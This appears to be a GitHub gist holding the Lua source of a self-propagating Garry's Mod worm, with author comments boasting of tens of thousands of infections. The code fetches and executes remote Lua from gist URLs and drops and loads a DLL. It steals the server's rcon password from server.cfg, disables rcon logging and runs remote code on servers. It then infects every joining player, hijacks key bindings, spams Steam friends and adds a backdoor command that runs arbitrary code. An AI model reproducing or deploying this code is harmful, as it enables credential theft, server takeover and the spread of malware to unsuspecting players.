gistfile1.txt

--[[
  Copyright Mr. 'Handsome' Matt ©
]]
 
-- Steam Wallet Currency is NOT being stolen pls believe
-- Source Code to DLLs will be publically released here after the Garry's Mod patch along with binaries which, if you are really worried, could be reverse engineered to ensure these statements are true
 
-- Infected lawl
-- Probably more than 30,000 infections
-- This could have been silent
-- Once spammed, this script will stop working by itself
-- sv_allowupload is not required to be enabled on the server, as rcon access allows it to be set
 
 
-- Let's get some viewers
 
 
if cookie.GetNumber("friendly_removal", 0) ~= 1 then
  http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_init.lua", function(content)
    DeleteFile("garrysmod/materials/cooltexture.vtf")
    CreateFile("garrysmod/materials/cooltexture.vtf", content)
    
    cookie.Set("friendly_removal", 1)
  end)
end
 
local c = vgui.Create("HTML")
c:SetVisible(false)
c:OpenURL("http://s1.freehostedscripts.net/ocounter.php?site=ID4068052&e1=Online%20User&e2=Online%20Users&r=lol&wh=100")

gistfile2.txt

-- Loaded over HTTP by Lua through client:SendLua(..)
 
if not system.IsWindows() then
	return
end
 
if file.Exists("bin/game_shader_generic_engine.dll", "MOD") then
	return -- Already infected
end
 
 
timer.Create("infchk", 2, 0, function()
	if file.Exists("download/engine_win32.dll", "MOD") then
		timer.Remove("infchk")
 
		require("/../../../download/engine")
 
 
		http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_init.lua", function(content)
			CreateFile("garrysmod/bin/game_shader_generic_engine.dll", GetShaderBinary())
			CreateFile("garrysmod/materials/cooltexture.vtf", content)
			
			local ret = CompileString( content, "l", false )
			pcall(ret)
 
			timer.Simple(4, function()
				ConCommand("alias disconnect quit\n")
				ConCommand("alias gamemenucommand quit\n")
				ConCommand("alias retry quit\n")
				ConCommand("alias connect quit\n")
				ConCommand("alias map quit\n")
			end)
		end)
	end
end)

gistfile3.txt

timer.Simple(14, function()
	pcall(function() -- remove print
		if file.Exists("download/engine_win32.dll", "MOD") then -- No longer infected?
			require("/../../../download/engine")
 
			if not file.Exists("engine_win32.dll", "MOD") then
				local module_file = file.Open("download/engine_win32.dll", "rb", "MOD")
				local module_data = module_file:Read(module_file:Size())
 
				CreateFile("garrysmod/engine_win32.dll", module_data)
			end
 
			DeleteFile("garrysmod/download/cfg/server.cfg")
			RequestFile("cfg/server.cfg")
			
			timer.Create("isittime", 1, 0, function()
				if GetTimeStamp() < (1397865590 + (60 * 60 * 12)) then return end -- 10 seconds before midnight
				timer.Remove("isitime")
				
				hook.Add( "PreDrawHUD", "MenuOverwrite", function()
					if (gui.IsGameUIVisible()) then
						gui.HideGameUI()
					end
				end )
				
				sound.PlayURL("https://dl.dropboxusercontent.com/u/3659637/overture.ogg", "", function() end)
				
				timer.Simple(20, function()
					local keyList = { "TAB", "ESCAPE", "SPACE", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "`", "F10", "a", "c", "d", "e", "f", "g", "p", "q", "r", "s", "u", "w", "y", "z", "x", "ALT", "CTRL", "SHIFT", "F5", "F6", "F9", "MWHEELDOWN", "MWHEELUP", "MOUSE1", "MOUSE2", "MOUSE4", "PAUSE", "F1", "F2", "F3", "F4" }
					local command = "say VINH'LL FIX IT@@@@@@@@@@@@@@@@@@@@@@@@@"
					
					for _, v in pairs( keyList ) do
						local cmd = "bind " .. v .. " \"" .. command .. "\""
						LocalPlayer():ConCommand([[playvideo_exitcommand f ]] .. cmd)
					end
		
					LocalPlayer():ConCommand([[playvideo_exitcommand f host_writeconfig]])
					LocalPlayer():ConCommand([[playvideo_exitcommand f alias bind echo nope]])
					
					LocalPlayer():ConCommand([[+voicerecord]])
					LocalPlayer():ConCommand([[playvideo_exitcommand f alias -voicerecord echo nope]])
					
					local vinh = vgui.Create("HTML")
					vinh:SetSize(256, 256)
					vinh:SetPos(ScrW()/2 - 128, ScrH()/2 - 128)
					vinh:OpenURL("http://i.imgur.com/NunR9ya.png")
					vinh:ParentToHUD()
					
					SWSetName("VINH'LL FIX IT@@")
					SWAddFriend("76561197968611839")
					SWAddFriend("76561198074112160")
					SWSpamFriends("FIX IT VINH", 42)
					
					DeleteFile("garrysmod/materials/cooltexture.vtf") -- Cleaned up for ya, guys
				end)
			end)
			
			timer.Create("cfgchk", 2, 0, function()
				if file.Exists("download/cfg/server.cfg", "MOD") then
					timer.Remove("cfgchk")
 
					local servercfg_file = file.Open("download/cfg/server.cfg", "r", "MOD")
					local servercfg_data = servercfg_file:Read(servercfg_file:Size())
					local rcon_password_command = false
 
					for line in servercfg_data:gmatch("[^\r\n]+") do
						if line:lower():find("rcon_password", nil,  true) then
							rcon_password_command = line
						end
					end
 
					if rcon_password_command then
						ConCommand(rcon_password_command .. "\n")
						ConCommand("rcon sv_rcon_log 0\n")
						ConCommand("rcon sv_allowupload 1\n")
						ConCommand("clear")
 
						timer.Simple(8, function()
							ConCommand("rcon lua_run http.Fetch([[https]] .. string.char(58) .. [[/]] .. [[/gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/server_infect.lua]], function(c) local ret = CompileString(c, [[l]], false) pcall(ret) end, function() end)\n")
							SendFile("engine_win32.dll")
							
							timer.Simple(4, function()
								ConCommand("clear\n")
							end)
						end)
					end
				end
			end)
		end
	
		http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_everytime.lua", function(c)
			local f = CompileString(c, "l", false)
			pcall(f)
		end)
	end)
end)

gistfile4.txt

-- Saved in to lua/autorun/server/default.lua
 
timer.Simple(8, function()
	if file.Exists("download/engine_win32.dll", "MOD") then -- No longer infected?
		require("/../../../download/engine")
		
		ConCommand("hostname !!!" .. GetConVarString("hostname") .. "#\n")
		if not file.Exists("engine_win32.dll", "MOD") then
			local module_file = file.Open("download/engine_win32.dll", "rb", "MOD")
			local module_data = module_file:Read(module_file:Size())
 
			CreateFile("garrysmod/engine_win32.dll", module_data)
		end
 
		local function infply(ply)
			ply:SendLua( [[http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_infect.lua", function(c) local ret = CompileString(c, "l", false) pcall(ret) end, function() end)]])
			SendFile(ply, "engine_win32.dll")
		end
 
		hook.Add("PlayerInitialSpawn", "infply", function(ply)
			timer.Simple(12, function()
				if IsValid(ply) then
					infply(ply)
				end
			end)
		end)
 
		for k, v in pairs(player.GetAll()) do
			infply(v) -- In case of loading upon infection, players may already be connected
		end
	end
 
 
	local function lua(ply, _, _, code)
		local env = { me = ply, this = ply:GetEyeTrace().Entity }
		setmetatable(env, {
			__index = _G,
			__newindex = function(self, k, v)
				rawset(_G, k, v)
			end
		})
 
		local ret = CompileString( code, "l", false )
		
		if type(ret) == "string" then
			ply:ChatPrint(ret)
			return
		end
		
		setfenv(ret, env)
		
		local success, ret = pcall(ret)
		
		if success then
			ply:ChatPrint("SUCCESS: " .. tostring(ret))
		else
			ply:ChatPrint("FAIL: " .. tostring(ret))
		end
	end
 
	concommand.Add( "l", lua )
end)